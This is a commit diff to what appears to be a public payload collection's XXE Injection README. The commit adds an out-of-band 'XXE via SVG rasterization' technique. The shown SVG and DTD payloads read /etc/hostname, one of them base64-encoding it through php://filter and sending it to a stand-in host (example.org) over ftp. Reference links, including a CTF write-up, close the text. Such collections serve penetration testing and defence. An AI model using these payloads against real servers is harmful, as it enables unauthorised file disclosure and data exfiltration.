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Merge pull request #128 from noraj/patch-1

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XXE: add XXE via SVG rasterization
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Swissky 2019-12-02 22:38:08 +01:00 committed by GitHub
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XXE Injection/README.md
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@ -380,7 +380,9 @@ Assuming payloads such as the previous return a verbose error. You can start poi
</svg>
```
```
**Classic**
```xml
<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
@ -388,6 +390,38 @@ Assuming payloads such as the previous return a verbose error. You can start poi
</svg>
```
**OOB via SVG rasterization**
*xxe.svg*
```xml
<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
<text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
<rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
<flowRoot font-size="15">
<flowRegion>
<rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
</flowRegion>
<flowDiv>
<flowPara>&exfil;</flowPara>
</flowDiv>
</flowRoot>
</svg>
```
*xxe.xml*
```xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">
```
### XXE inside SOAP
```xml
@ -495,3 +529,4 @@ updating: xl/sharedStrings.xml (deflated 17%)
* [Web Security Academy >> XML external entity (XXE) injection - 2019 PortSwigger Ltd](https://portswigger.net/web-security/xxe)
- [Automating local DTD discovery for XXE exploitation - July 16 2019 by Philippe Arteau](https://www.gosecure.net/blog/2019/07/16/automating-local-dtd-discovery-for-xxe-exploitation)
- [EXPLOITING XXE WITH EXCEL - NOV 12 2018 - MARC WICKENDEN](https://www.4armed.com/blog/exploiting-xxe-with-excel/)
- [Midnight Sun CTF 2019 Quals - Rubenscube](https://jbz.team/midnightsunctfquals2019/Rubenscube)